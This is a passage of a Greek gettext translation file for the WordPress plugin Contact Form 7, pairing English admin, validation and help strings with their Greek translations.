msgstr[0] "%s ανιχνεύθηκε σφάλμα διαμόρφωσης"
msgstr[1] "%s ανιχνεύθηκαν σφάλματα διαμόρφωσης"

#: admin/admin.php:646 includes/rest-api.php:209 includes/rest-api.php:278
msgid "There was an error saving the contact form."
msgstr "Παρουσιάστηκε σφάλμα κατά την αποθήκευση της φόρμας επικοινωνίας."

#. translators: 1: WordPress hook name, 2: version number, 3: alternative hook
#. name
#: includes/functions.php:525
msgid "Hook %1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s! Use %3$s instead."
msgstr "Το hook %1$s είναι <strong>καταργημένο</strong> από την έκδοση %2$s Contact Form 7! Χρησιμοποιήστε  %3$s αντ 'αυτού."

#: admin/includes/welcome-panel.php:109
msgid "Contact Form 7 does not store submitted messages anywhere. Therefore, you may lose important messages forever if your mail server has issues or you make a mistake in mail configuration."
msgstr "Το Contact Form 7 δεν αποθηκεύει τα μηνύματα κάπου. Συνεπώς, μπορεί να χάσετε πολύτιμα μηνύματα για πάντα αν ο διακομιστής αλληλογραφίας σας έχει κάποιο πρόβλημα ή κάνετε κάποιο λάθος στην παραμετροποίηση της αλληλογραφίας."

#: admin/includes/welcome-panel.php:104
msgid "Before you cry over spilt mail&#8230;"
msgstr "Πριν προβείτε σε αποστολή παρακαλώ διαχωρίστε το μήνυμα&#8230;"

#: admin/includes/welcome-panel.php:67
msgid "https://contactform7.com/comment-blacklist/"
msgstr "http://contactform7.com/comment-blacklist/"

#: admin/includes/welcome-panel.php:61
msgid "Spammers target everything; your contact forms are not an exception. Before you get spammed, protect your contact forms with the powerful anti-spam features Contact Form 7 provides."
msgstr "Οι spammers στοχεύουν τα πάντα; οι φόρμες επικοινωνίας σας δεν είναι εξαίρεση. Πριν από μια τέτοια επίθεση, προστατεύστε τις φόρμες επικοινωνίας σας με το ισχυρό χαρακτηριστικό κατά του spam που παρέχει το Contact Form 7."

#: admin/includes/welcome-panel.php:56
msgid "Getting spammed? You have protection."
msgstr "Λάβατε ανεπιθύμητη αλληλογραφία; Έχετε προστασία."

#: includes/config-validator/form.php:16
msgid "Multiple form controls are in a single label element."
msgstr "Πολλαπλοί έλεγχοι φόρμας τοποθετούνται μέσα σε μία ετικέτα στοιχείου."

#: admin/includes/config-validator.php:175
msgid "FAQ about Configuration Validator"
msgstr "Συχνές ερωτήσεις για τον Επαληθευτή Ρυθμίσεων."

#: admin/includes/config-validator.php:174
msgid "https://contactform7.com/configuration-validator-faq/"
msgstr "https://contactform7.com/configuration-validator-faq/"

#: modules/quiz.php:181
msgid "The answer to the quiz is incorrect."
msgstr "Η απάντηση στο κουϊζ είναι λάθος."

#: includes/file.php:121
msgid "There was an error uploading the file."
msgstr "Υπήρξε σφάλμα κατά τη μεταφόρτωση του αρχείου."

#: includes/file.php:111
msgid "You are not allowed to upload files of this type."
msgstr "Δεν επιτρέπεται η μεταφόρτωση τέτοιου τύπου αρχείου."

#: includes/file.php:106
msgid "There was an unknown error uploading the file."
msgstr "Υπήρξε άγνωστο σφάλμα κατά τη μεταφόρτωση του αρχείου."

#: includes/contact-form-template.php:184
msgid "You must accept the terms and conditions before sending your message."
msgstr "Πρέπει να αποδεχτείτε τους όρους χρήσης πριν στείλετε το μήνυμα."

#: includes/contact-form-template.php:174
msgid "One or more fields have an error. Please check and try again."
msgstr "Ένα ή περισσότερα πεδία έχουν σφάλματα. Ελέγξτε και ξαναδοκιμάστε."

#: includes/contact-form-template.php:169
#: includes/contact-form-template.php:179
msgid "There was an error trying to send your message. Please try again later."
msgstr "Υπήρξε σφάλμα κατά την αποστολή. Δοκιμάστε ξανά αργότερα."

#: includes/contact-form-template.php:164
msgid "Thank you for your message. It has been sent."
msgstr "Ευχαριστούμε για το μήνυμά σας. Στάλθηκε με επιτυχία."

#. translators: 1: blog name, 2: [your-subject]
#: includes/contact-form-template.php:52 includes/contact-form-template.php:96
msgctxt "mail subject"
msgid "%1$s \"%2$s\""
msgstr "%1$s \"%2$s\""

#: admin/includes/config-validator.php:47
msgid "Misconfiguration leads to mail delivery failure or other troubles. Validate your contact forms now."
msgstr "Εσφαλμένη ρύθμιση οδηγεί σε αποτυχία διανομής της αλληλογραφίας ή άλλα προβλήματα. Επικυρώστε τις φόρμες επικοινωνίας σας τώρα."

#: admin/includes/config-validator.php:53
msgid "Validate Contact Form 7 Configuration"
msgstr "Επικύρωση ρυθμίσεων Contact Form 7"

#: includes/config-validator/validator.php:56
msgid "https://contactform7.com/configuration-errors/"
msgstr "https://contactform7.com/configuration-errors/"

#: admin/admin.php:664
msgid "Configuration validation completed. No invalid contact form was found."
msgstr "Η επικύρωση των ρυθμίσεων ολοκληρώθηκε. Δεν βρέθηκαν μη έγκυρες φόρμες επικοινωνίας. "

#. translators: %s: number of contact forms
#: admin/admin.php:656
msgid "Configuration validation completed. %s invalid contact form was found."
msgid_plural "Configuration validation completed. %s invalid contact forms were found."
msgstr[0] "Η επικύρωση της διαμόρφωσης ολοκληρώθηκε. Βρέθηκε %s μη έγκυρη φόρμα επικοινωνίας."
msgstr[1] "Η επικύρωση της διαμόρφωσης ολοκληρώθηκε. Βρέθηκαν %s μη έγκυρες φόρμες επικοινωνίας."

#: admin/includes/config-validator.php:142
msgid "Validate Configuration"
msgstr "Επαλήθευση ρυθμίσεων"

#. translators: %s: number of contact forms
#: admin/includes/config-validator.php:118
msgid "Validate %s contact form now"
msgid_plural "Validate %s contact forms now"
msgstr[0] "Επικυρώστε %s φόρμα επικοινωνίας τώρα"
msgstr[1] "Επικυρώστε %s φόρμες επικοινωνίας τώρα"

#: admin/includes/config-validator.php:75
msgid "You are not allowed to validate configuration."
msgstr "Δεν σας επιτρέπεται να επικυρώσετε την διαμόρφωση."

#: modules/recaptcha/recaptcha.php:254 modules/recaptcha/service.php:299
msgid "https://contactform7.com/recaptcha/"
msgstr "https://contactform7.com/recaptcha/"

#: modules/recaptcha/service.php:368 modules/stripe/service.php:269
#: modules/turnstile/service.php:351
msgid "Secret Key"
msgstr "Μυστικό κλειδί"

#: modules/recaptcha/service.php:351 modules/turnstile/service.php:334
msgid "Site Key"
msgstr "Κλειδί ιστότοπου"

#: modules/recaptcha/service.php:269 modules/sendinblue/service.php:147
#: modules/stripe/service.php:153 modules/turnstile/service.php:246
msgid "Settings saved."
msgstr "Οι ρυθμίσεις αποθηκεύτηκαν!"

#: modules/sendinblue/service.php:139
msgid "Invalid key values."
msgstr "Λανθασμένες τιμές κλειδιού."

#: modules/recaptcha/service.php:29
msgid "reCAPTCHA"
msgstr "reCAPTCHA"

#. Description of the plugin
#: wp-contact-form-7.php
msgid "Just another contact form plugin. Simple but flexible."
msgstr "Ακόμη ένα πρόσθετο για φόρμες επικοινωνίας. Απλό αλλά ευέλικτο."

#. Plugin URI of the plugin
#: wp-contact-form-7.php
msgid "https://contactform7.com/"
msgstr "https://contactform7.com/"

#. translators: title of your first contact form. %d: number fixed to '1'
#: load.php:195
msgid "Contact form %d"
msgstr "Φόρμα επικοινωνίας %d"

#: modules/textarea.php:141
msgid "text area"
msgstr "περιοχή κειμένου"

#: modules/akismet/service.php:22
msgid "Akismet"
msgstr "Akismet"

#: modules/text.php:214
msgid "tel"
msgstr "Τηλέφωνο"

#: modules/text.php:213
msgid "URL"
msgstr "URL"

#: modules/text.php:212
msgid "email"
msgstr "email"

#: modules/text.php:211
msgid "text"
msgstr "κείμενο"

#: modules/text.php:193
msgid "Telephone number that the sender entered is invalid"
msgstr "Ο τηλεφωνικός αριθμός που εισήγαγε ο αποστολέας είναι άκυρος"

#: modules/text.php:186
msgid "URL that the sender entered is invalid"
msgstr "Το URL που εισήγαγε ο αποστολέας είναι άκυρο"

#: modules/text.php:179
msgid "Email address that the sender entered is invalid"
msgstr "Η διεύθυνση email που εισήγαγε ο αποστολέας είναι άκυρη."

#: modules/submit.php:100
msgid "Label"
msgstr "Eπιγραφή"

#: modules/submit.php:56
msgid "Submit button"
msgstr "Κουμπί Υποβολής"

#: modules/submit.php:47
msgid "submit"
msgstr "υποβολή"

#: modules/select.php:228
msgid "drop-down menu"
msgstr "πτυσσόμενο μενού"

#: modules/quiz.php:258
msgid "Questions and answers"
msgstr "Ερωτήσεις και απαντήσεις"

#: modules/quiz.php:205
msgid "Quiz"
msgstr "Κουΐζ"

#: modules/quiz.php:196
msgid "quiz"
msgstr "quiz"

#: modules/quiz.php:179
msgid "Sender does not enter the correct answer to the quiz"
msgstr "Ο αποστολέας δεν εισάγει την σωστή απάντηση στο κουΐζ."

#: modules/number.php:248
msgid "Slider"
msgstr "Slider"

#: modules/number.php:247
msgid "Spinbox"
msgstr "Spinbox"

#: modules/number.php:200
msgid "number"
msgstr "νούμερο"

#: modules/number.php:186
msgid "Number is larger than maximum limit"
msgstr "Ο αριθμός είνιαι μεγαλύτερος από το μέγιστο όριο"

#: modules/number.php:181
msgid "Number is smaller than minimum limit"
msgstr "Ο αριθμός είναι μικρότερος από το ελάχιστο όριο"

#: modules/number.php:176
msgid "Number format that the sender entered is invalid"
msgstr "Η μορφή αριθμού που εισήγαγε ο αποστολέας είναι άκυρος"

#. translators: %s: the path of the temporary folder
#: includes/file.php:434
msgid "This contact form has file uploading fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually."
msgstr "Αυτή η φόρμα επικοινωνίας περιέχει πεδία μεταφόρτωσης του αρχείου, αλλά ο προσωρινός φάκελος για τα αρχεία (%s) δεν υπάρχει ή δεν είναι εγγράψιμος. Μπορείτε να δημιουργήσετε το φάκελο ή να αλλάξετε την άδειά του χειροκίνητα."

#: modules/file.php:205
msgid "Acceptable file types"
msgstr "Επιτρεπόμενοι τύποι αρχείων"

#: modules/file.php:142
msgid "file"
msgstr "αρχείο"

#: includes/file.php:120
msgid "Uploading a file fails for PHP error"
msgstr "Η μεταφόρτωση αρχείου απέτυχε με σφάλμα PHP"

#: includes/file.php:115
msgid "Uploaded file is too large"
msgstr "Το αρχείο που μεταφορτώθηκε είναι πολύ μεγάλο."

#: includes/file.php:110
msgid "Uploaded file is not allowed for file type"
msgstr "Ο τύπος αρχείου που μεταφορτώθηκε δεν είναι επιτρεπτός."

#: includes/file.php:105
msgid "Uploading a file fails for any reason"
msgstr "Αποτυχία μεταφόρτωσης αρχείου για οποιονδήποτε λόγο."

#: admin/includes/tag-generator.php:412
msgid "Max"
msgstr "Μέγιστο"

#: admin/includes/tag-generator.php:393
msgid "Min"
msgstr "Ελάχιστο"

#: modules/date.php:238 modules/number.php:257
msgid "Range"
msgstr "Διακύμανση"

#: admin/includes/tag-generator.php:436
msgid "Default value"
msgstr "Προεπιλεγμένη τιμή"

#: modules/date.php:190
msgid "Date field"
msgstr "Πεδίο ημερομηνίας"

#: modules/date.php:181
msgid "date"
msgstr "ημερομηνία"

#: modules/date.php:167
msgid "Date is later than maximum limit"
msgstr "Η ημερομηνία είναι μεταγενέστερη από το μέγιστο όριο"

#: modules/date.php:162
msgid "Date is earlier than minimum limit"
msgstr "Η ημερομηνία αυτή είναι προγενέστερη από το ελάχιστο όριο"

#: modules/date.php:157
msgid "Date format that the sender entered is invalid"
msgstr "Η μορφή ημερομηνίας που εισήγαγε ο αποστολέας είναι άκυρη"

#: admin/includes/tag-generator.php:219
msgid "Field type"
msgstr "Τύπος πεδίου"

#: modules/checkbox.php:352
msgid "radio buttons"
msgstr "κουμπιά επιλογής"

#: modules/checkbox.php:351
msgid "checkboxes"
msgstr "πλαίσια ελέγχου"

#: modules/really-simple-captcha.php:295
msgid "This contact form contains CAPTCHA fields, but the necessary libraries (GD and FreeType) are not available on your server."
msgstr "Αυτή η φόρμα επικοινωνίας περιέχει πεδία CAPTCHA, αλλά οι απαραίτητες βιβλιοθήκες (GD και FreeType) δεν είναι διαθέσιμες στο διακομιστή σας."

#. translators: %s: Path to the temporary folder
#: modules/really-simple-captcha.php:283
msgid "This contact form contains CAPTCHA fields, but the temporary folder for the files (%s) does not exist or is not writable. You can create the folder or change its permission manually."
msgstr "Αυτή η φόρμα επικοινωνίας περιέχει πεδία CAPTCHA, αλλά ο προσωρινός φάκελος για τα αρχεία (% s) δεν υπάρχει ή δεν είναι εγγράψιμος. Μπορείτε να δημιουργήσετε το φάκελο ή να αλλάξετε την άδειά του χειροκίνητα."

#: modules/really-simple-captcha.php:241
msgid "Your entered code is incorrect."
msgstr "Ο κωδικός που εισάγατε δεν είναι σωστός."

#: modules/really-simple-captcha.php:239
msgid "The code that sender entered does not match the CAPTCHA"
msgstr "Ο κώδικας που εισήγαγε ο αποστολέας δεν ταιριάζει με το CAPTCHA."

#: admin/includes/tag-generator.php:599
msgid "Insert Tag"
msgstr "Προσθήκη Ετικέτας"

#: admin/includes/tag-generator.php:362
msgid "Class attribute"
msgstr "Ιδιότητα κλάσης"

#: modules/acceptance.php:266
msgid "Acceptance checkbox"
msgstr "Πλαίσιο ελέγχου αποδοχής"

#: modules/acceptance.php:257
msgid "acceptance"
msgstr "Αποδοχή"

#. translators: 1: property name, 2: method name
#: includes/contact-form.php:233
msgid "<code>%1$s</code> property of a <code>WPCF7_ContactForm</code> object is <strong>no longer accessible</strong>. Use <code>%2$s</code> method instead."
msgstr "Η ιδιότητα <code>%1$s</code> ενός αντικειμένου <code>WPCF7_ContactForm</code> <strong>δεν είναι πλέον προσβάσιμη</strong>. Χρησιμοποιήστε τη μέθοδο <code>%2$s</code> αντ' αυτού."

#: includes/contact-form.php:114 includes/contact-form.php:437
msgid "Untitled"
msgstr "Χωρίς τίτλο"

#: includes/contact-form.php:52
msgid "Contact Form"
msgstr "Φόρμα επικοινωνίας"

#: includes/contact-form-template.php:198
msgid "There is a field with input that is shorter than the minimum allowed length"
msgstr "Ένα πεδίο που έχει εισαχθεί είναι μικρότερο απο το επιτρεπτό όριο."

#: includes/contact-form-template.php:193
msgid "There is a field with input that is longer than the maximum allowed length"
msgstr "Ένα πεδίο που έχει εισαχθεί είναι μεγαλύτερο απο το επιτρεπτό όριο. "

#: includes/contact-form-template.php:188
msgid "There is a field that the sender must fill in"
msgstr "Υπάρχει πεδίο που ο αποστολέας πρέπει να συμπληρώσει"

#: includes/contact-form-template.php:183
msgid "There are terms that the sender must accept"
msgstr "Υπάρχουν όροι που ο αποστολέας πρέπει να αποδεχθεί"

#: includes/contact-form-template.php:178
msgid "Submission was referred to as spam"
msgstr "Η υποβολή αναφέρθηκε ως ανεπιθύμητη αλληλογραφία"

#: includes/contact-form-template.php:173
msgid "Validation errors occurred"
msgstr "Συνέβησαν σφάλματα εγκυρότητας"

#: includes/contact-form-template.php:72 includes/contact-form-template.php:106
msgid "Message Body:"
msgstr "Σώμα μηνύματος:"

#. translators: %s: [your-subject]
#: includes/contact-form-template.php:69
msgid "Subject: %s"
msgstr "Θέμα: %s"

#. translators: %s: [your-name] [your-email]
#: includes/contact-form-template.php:64
msgid "From: %s"
msgstr "Από: %s"

#: modules/submit.php:26
msgid "Send"
msgstr "Αποστολή"

#: includes/contact-form-template.php:41
msgid "Your message"
msgstr "Το μήνυμά σας"

#: includes/contact-form-template.php:39
msgid "Your email"
msgstr "Το email σας"

#: includes/contact-form-template.php:38
msgid "Your name"
msgstr "Το όνομά σας"

#. translators: %s: title of form-tag
#: admin/includes/tag-generator.php:85
msgid "Form-tag Generator: %s"
msgstr "Γεννήτρια ετικετών φόρμας: %s"

#: admin/includes/help-tabs.php:97
msgid "For more information:"
msgstr "Για περισσότερες πληροφορίες : "

#: admin/includes/help-tabs.php:89
msgid "Any information you provide will not be shared with service providers without your authorization."
msgstr "Οποιαδήποτε πληροφορία παρέχετε δεν θα μοιραστεί με τους παρόχους της υπηρεσίας χωρίς την δική σας εξουσιοδότηση."

#: admin/includes/help-tabs.php:88
msgid "You may need to first sign up for an account with the service that you plan to use. When you do so, you would need to authorize Contact Form 7 to access the service with your account."
msgstr "Ίσως χρειαστεί να εγγραφείτε πρώτα για έναν λογαριασμό για την υπηρεσία που σχεδιάζετε να χρησιμοποιήσετε. Όταν το κάνετε αυτό, θα χρειαστεί να εξουσιοδοτήσετε το Contact Form 7 για να αποκτήσετε πρόσβαση στον λογαριασμό σας."

#: admin/includes/help-tabs.php:87
msgid "On this screen, you can manage services that are available through Contact Form 7. Using API will allow you to collaborate with any services that are available."
msgstr "Σε αυτή την οθόνη, μπορείτε να διαχειριστείτε υπηρεσίες που είναι διαθέσιμες μέσω του Contact Form 7. Χρησιμοποιώντας API θα σας επιτραπεί να συνεργαστείτε με όποια υπηρεσία είναι διαθέσιμη."

#: admin/includes/help-tabs.php:85
msgid "There are also special mail-tags that have specific names, but do not have corresponding form-tags. They are used to represent meta information of form submissions like the submitter&#8217;s IP address or the URL of the page."
msgstr "Υπάρχουν επίσης ειδικές ετικέτες αλληλογραφίας που έχουν συγκεκριμένα ονόματα, αλλά δεν έχουν αντίστοιχες ετικέτες φόρμας. Χρησιμοποιούνται για να αντιπροσωπεύουν μετα-πληροφορίες των υποβολών της φόρμας όπως η διεύθυνση IP του υποβάλλοντα ή η διεύθυνση URL της σελίδας."

#: admin/includes/help-tabs.php:84
msgid "A mail-tag is also a short code enclosed in square brackets that you can use in every Mail and Mail (2) field. A mail-tag represents a user input value through an input field of a corresponding form-tag."
msgstr "Μια ετικέτα αλληλογραφίας είναι επίσης ένας σύντομος κώδικας που περικλείεται σε αγκύλες που μπορείτε να χρησιμοποιήσετε σε κάθε πεδίο Αλληλογραφία και Αλληλογραφία (2). Μια ετικέτα αλληλογραφίας αντιπροσωπεύει μια τιμή εισόδου χρήστη μέσω ενός πεδίου εισαγωγής μιας αντίστοιχης ετικέτας φόρμας."

#: admin/includes/help-tabs.php:82
msgid "While form-tags have a comparatively complex syntax, you do not need to know the syntax to add form-tags because you can use the straightforward tag generator (<strong>Generate Tag</strong> button on this screen)."
msgstr "Ενώ οι ετικέτες φόρμας έχουν μια σχετικά σύνθετη σύνταξη, δεν χρειάζεται να γνωρίζετε τη σύνταξη για να προσθέσετε ετικέτες φόρμας επειδή μπορείτε να χρησιμοποιήσετε την απλή γεννήτρια ετικετών (<strong>Δημιουργία ετικέτας</strong> σε αυτήν την οθόνη)."

#: admin/includes/help-tabs.php:81
msgid "A form-tag is a short code enclosed in square brackets used in a form content. A form-tag generally represents an input field, and its components can be separated into four parts: type, name, options, and values. Contact Form 7 supports several types of form-tags including text fields, number fields, date fields, checkboxes, radio buttons, menus, file-uploading fields, CAPTCHAs, and quiz fields."
msgstr "Μια ετικέτα φόρμας είναι ένας σύντομος κώδικας που περικλείεται σε αγκύλες που χρησιμοποιούνται σε ένα περιεχόμενο φόρμας. Μια ετικέτα φόρμας αντιπροσωπεύει γενικά ένα πεδίο εισαγωγής και τα στοιχεία της μπορούν να χωριστούν σε τέσσερα μέρη: τύπος, όνομα, επιλογές και τιμές. Η Contact Form 7 υποστηρίζει διάφορους τύπους ετικετών φόρμας, όπως πεδία κειμένων, πεδία αριθμών, πεδία ημερομηνίας, πλαίσια ελέγχου, κουμπιά επιλογής, μενού, πεδία φόρτωσης αρχείων, εικόνες CAPTCHA και πεδία κουίζ."

#: admin/includes/help-tabs.php:79
msgid "<strong>Additional Settings</strong> provides a place where you can customize the behavior of this contact form by adding code snippets."
msgstr "<strong>Οι Πρόσθετες Ρυθμίσεις</strong> παρέχουν ένα χώρο που μπορείτει να παραμετροποιήσετε την συμπεριφορά της φόρμας επικοινωνίας με προσθήκη αποσπασμάτων κώδικα."

#: admin/includes/help-tabs.php:78
msgid "In <strong>Messages</strong>, you can edit various types of messages used for this contact form. These messages are relatively short messages, like a validation error message you see when you leave a required field blank."
msgstr "Στα <strong>Μηνύματα</strong>, μπορείτε να επεξεργαστείτε διάφορα είδη μηνυμάτων που χρησιμοποιούνται σε αυτή τη φόρμα επικοινωνίας. Είναι σχετικά μικρά μηνύματα, όπως το μήνυμα λάθους που βλέπετε όταν δεν έχετε συμπληρώσει ένα υποχρεωτικό πεδίο. "

#: admin/includes/help-tabs.php:77
msgid "<strong>Mail (2)</strong> is an additional mail template that works similar to Mail. Mail (2) is different in that it is sent only when Mail has been sent successfully."
msgstr "Το <strong>Αλληλογραφία (2)</strong> είναι ένα πρόσθετο πρότυπο αλληλογραφίας που λειτουργεί παρόμοια με το Αλληλογραφία. Το Αλληλογραφία (2) διαφέρει από το γεγονός ότι αποστέλλεται μόνο όταν έχει αποσταλεί με επιτυχία η αλληλογραφία."

#: admin/includes/help-tabs.php:76
msgid "<strong>Mail</strong> manages a mail template (headers and message body) that this contact form will send when users submit it. You can use Contact Form 7&#8217;s mail-tags here."
msgstr "Το <strong>Αλληλογραφία</strong> διαχειρίζεται ένα πρότυπο αλληλογραφίας (κεφαλίδες και σώμα μηνυμάτων) που θα αποστέλλει αυτή η φόρμα επικοινωνίας όταν οι χρήστες την υποβάλλουν. Μπορείτε να χρησιμοποιήσετε εδώ τις ετικέτες αλληλογραφίας του Contact Form 7."

#: admin/includes/help-tabs.php:75
msgid "<strong>Form</strong> is a content of HTML form. You can use arbitrary HTML, which is allowed inside a form element. You can also use Contact Form 7&#8217;s form-tags here."
msgstr "Η <strong>Φόρμα</strong> είναι ένα περιεχόμενο της φόρμας HTML. Μπορείτε να χρησιμοποιήσετε αυθαίρετα HTML, το οποίο επιτρέπεται μέσα σε ένα στοιχείο φόρμας. Μπορείτε επίσης να χρησιμοποιήσετε τις ετικέτες φόρμας του Contact Form 7 εδώ."

#: admin/includes/help-tabs.php:74
msgid "<strong>Title</strong> is the title of a contact form. This title is only used for labeling a contact form, and can be edited."
msgstr "<strong>Τίτλος</strong> είναι ο τίτλος της φόρμας επικοινωνίας. Αυτός ο τίτλος χρησιμοποιείται για την επισήμανση της φόρμας επικοινωνίας και μπορεί να επεξεργαστεί."

#: admin/includes/help-tabs.php:73
msgid "On this screen, you can edit a contact form. A contact form is comprised of the following components:"
msgstr "Σε αυτή την οθόνη, μπορείτε να επεξεργαστεί την φόρμα επικοινωνίας. Η φόρμα επικοινωνίαε αποτελείται απ' τα ακόλουθα μέρη:"

#: admin/includes/help-tabs.php:71
msgid "<strong>Duplicate</strong> - Clones that contact form. A cloned contact form inherits all content from the original, but has a different ID."
msgstr "<strong>Αντιγραφή</strong> - Αντιγράφει αυτή την φόρμα επικοινωνίας. Μια αντεγραμμένη φόρμα κληρονομεί όλο το περιεχόμενο απο την αρχική αλλά έχει διαφορετικό ID."

#: admin/includes/help-tabs.php:70
msgid "<strong>Edit</strong> - Navigates to the editing screen for that contact form. You can also reach that screen by clicking on the contact form title."
msgstr "<strong>Επεξεργασία</strong> - Πλοήγηση στην οθόνη επεξεργασίας για αυτή την φόρμα επικοινωνίας. Μπορείτε να μεταβείτε σε αυτή την οθόνη και με κλικ πάνω στον τίτλο της φόρμα επικοινωνίας."

#: admin/includes/help-tabs.php:69
msgid "Hovering over a row in the contact forms list will display action links that allow you to manage your contact form. You can perform the following actions:"
msgstr "Κατά το πέρασμα του κέρσορα πάνω από μια σειρά στη λίστα των φορμών επικοινωνίας θα εμφανιστούν σύνδεσμοι οι οποίοι σας επιτρέπουν να διαχειριστείτε τη φόρμα επικοινωνίας σας. Μπορείτε να εκτελέσετε τις ακόλουθες ενέργειες:"

#: admin/includes/help-tabs.php:67
msgid "On this screen, you can manage contact forms provided by Contact Form 7. You can manage an unlimited number of contact forms. Each contact form has a unique ID and Contact Form 7 shortcode ([contact-form-7 ...]). To insert a contact form into a post or a text widget, insert the shortcode into the target."
msgstr "Σε αυτή την οθόνη μπορείτε να διαχειριστείτε φόρμες που παρέχονται από το Contact Form 7. Μπορείτε να διαχειριστείτε απεριόριστο αριθμό φορμών επικοινωνίας. Κάθε φόρμα επικοινωνίας έχει μοναδικό ID και συντόμευση κώδικα (shortcode) Contact Form 7 ([contact-form-7 ...]). Για να εισάγετε μια φόρμα επικοινωνίας σε μία δημοσίευση ή μια μικροεφαρμογή κειμένου, εισάγετε τη συντόμευση κώδικα μέσα στο στόχο."

#: admin/includes/help-tabs.php:44
msgid "Mail-tags"
msgstr "Ετικέτες-Αλληλογραφίας"

#: admin/includes/help-tabs.php:38
msgid "Form-tags"
msgstr "Ετικέτες-Φόρμας"

#: admin/includes/help-tabs.php:22
msgid "Available Actions"
msgstr "Διαθέσιμες ενέργειες"

#: admin/includes/help-tabs.php:16 admin/includes/help-tabs.php:32
#: admin/includes/help-tabs.php:54
msgid "Overview"
msgstr "Επισκόπηση"

#: admin/includes/editor.php:521
msgid "https://contactform7.com/additional-settings/"
msgstr "https://contactform7.com/additional-settings/"

#: admin/includes/editor.php:432
msgid "File attachments"
msgstr "Συνημμένα αρχεία"

#: admin/includes/editor.php:416
msgid "Use HTML content type"
msgstr "Αποστολή σε μορφή HTML"

#: admin/includes/editor.php:359
msgid "Message body"
msgstr "Σώμα μηνύματος"

#: admin/includes/editor.php:328
msgid "Additional headers"
msgstr "Επιπλέον κεφαλίδες"

#: admin/includes/editor.php:300 includes/contact-form-template.php:40
msgid "Subject"
msgstr "Θέμα"

#: admin/includes/editor.php:272
msgid "From"
msgstr "Από"

#: admin/includes/editor.php:244
msgid "To"
msgstr "Προς"

#: admin/includes/editor.php:216
msgid "In the following fields, you can use these mail-tags:"
msgstr "Στα ακόλουθα πεδία, μπορείτε να χρησιμοποιήσετε τα ακόλουθα mail-tag:"

#: admin/includes/editor.php:193
msgid "Mail (2) is an additional mail template often used as an autoresponder."
msgstr "Αλληλογραφία (2) είναι ένα επιπλέον πρότυπο αλληγραφίας συχνά χρησιμοποιείται ως αυτόματος απαντητής."

#: admin/includes/editor.php:132
msgid "Use Mail (2)"
msgstr "Χρησιμοποιήσε Αλληλογραφία(2)"

#: admin/includes/editor.php:131
msgid "Mail (2)"
msgstr "Αλληλογραφία (2)"

#. translators: date format, see https://www.php.net/date
#: admin/includes/class-contact-forms-list-table.php:234
msgid "Y/m/d"
msgstr "d/m/Y"

#. translators: %s: title of contact form
#: admin/includes/class-contact-forms-list-table.php:115
msgid "Edit &#8220;%s&#8221;"
msgstr "Επεξεργασία &#8220;%s&#8221;"

#: admin/includes/class-contact-forms-list-table.php:162
msgid "Edit"
msgstr "Επεξεργασία"

#: admin/includes/class-contact-forms-list-table.php:15
msgid "Date"
msgstr "Ημερομηνία"

#: admin/includes/class-contact-forms-list-table.php:14
msgid "Author"
msgstr "Συντάκτης"

#: admin/includes/class-contact-forms-list-table.php:13
msgid "Shortcode"
msgstr "Σύντομος κώδικας"

#: admin/includes/class-contact-forms-list-table.php:12
#: includes/block-editor/index.js:1
msgid "Title"
msgstr "Τίτλος"

#: admin/edit-contact-form.php:442 admin/includes/editor.php:529
msgid "Additional Settings"
msgstr "Επιπρόσθετες ρυθμίσεις"

#. translators: %d: number of additional settings
#: admin/edit-contact-form.php:439
msgid "Additional Settings (%d)"
msgstr "Επιπρόσθετες Ρυθμίσεις (%d)"

#: admin/edit-contact-form.php:419 admin/includes/editor.php:477
msgid "Messages"
msgstr "Μηνύματα"

#: admin/edit-contact-form.php:415 admin/includes/editor.php:140
msgid "Mail"
msgstr "Αλληλογραφία"

#: admin/edit-contact-form.php:411 admin/includes/editor.php:93
msgid "Form"
msgstr "Φόρμα"

#: admin/includes/help-tabs.php:100
msgid "Support"
msgstr "Υποστήριξη"

#: admin/includes/help-tabs.php:100
msgid "https://contactform7.com/support/"
msgstr "https://contactform7.com/support/"

#: admin/includes/help-tabs.php:99
msgid "FAQ"
msgstr "Συχνές ερωτήσεις"

#: admin/edit-contact-form.php:367 admin/includes/help-tabs.php:99
msgid "https://contactform7.com/faq/"
msgstr "https://contactform7.com/faq/"

#: admin/includes/help-tabs.php:98
msgid "Docs"
msgstr "Τεκμηρίωση"

#: admin/edit-contact-form.php:368 admin/includes/help-tabs.php:98
msgid "https://contactform7.com/docs/"
msgstr "https://contactform7.com/docs/"

#: admin/edit-contact-form.php:311
#: admin/includes/class-contact-forms-list-table.php:83
msgid "Delete"
msgstr "Διαγραφή"

#: admin/edit-contact-form.php:282
#: admin/includes/class-contact-forms-list-table.php:180
msgid "Duplicate"
msgstr "Δημιουργία διπλότυπου"

#: admin/edit-contact-form.php:246
msgid "Status"
msgstr "Κατάσταση"

#: admin/edit-contact-form.php:205
msgid "You can also use this old-style shortcode:"
msgstr "Μπορείτε επίσης να χρησιμοποιήσετε συντόμευση κώδικα (shortcode) παλαιού τύπου :"

#: admin/edit-contact-form.php:173
msgid "Copy this shortcode and paste it into your post, page, or text widget content:"
msgstr "Αντιγράψτε την συντόμευση κώδικα (shortcode) και επικολλήστε την στο άρθρο, την σελίδα ή την μικροεφαρμογή κειμένου σας:"

#: admin/edit-contact-form.php:152 admin/edit-contact-form.php:153
msgid "Enter title here"
msgstr "Εισάγετε τον τίτλο εδώ."

#: admin/edit-contact-form.php:14 admin/edit-contact-form.php:272
msgid "Save"
msgstr "Αποθήκευση"

#: admin/admin.php:730
msgid "You are not allowed to edit this contact form."
msgstr "Δεν επιτρέπεται να επεξεργαστείτε αυτή τη φόρμα επικοινωνίας."

#: admin/includes/welcome-panel.php:113
msgid "https://contactform7.com/save-submitted-messages-with-flamingo/"
msgstr "https://contactform7.com/save-submitted-messages-with-flamingo/"

#: modules/akismet/service.php:65
msgid "Spam filtering with Akismet"
msgstr "Φιλτράρισμα ανεπιθύμητης αλληλογραφίας με Akismet"

#: admin/includes/welcome-panel.php:65 modules/akismet/service.php:64
msgid "https://contactform7.com/spam-filtering-with-akismet/"
msgstr "https://contactform7.com/spam-filtering-with-akismet/"

#: admin/includes/editor.php:208
msgid "https://contactform7.com/setting-up-mail/"
msgstr "https://contactform7.com/setting-up-mail/"

#: admin/includes/welcome-panel.php:81
msgid "Contact Form 7 needs your support."
msgstr "Το Contact Form 7 χρειάζεται την υποστήριξη σου."

#: admin/includes/welcome-panel.php:189
msgid "Dismiss"
msgstr "Απόκρυψη"

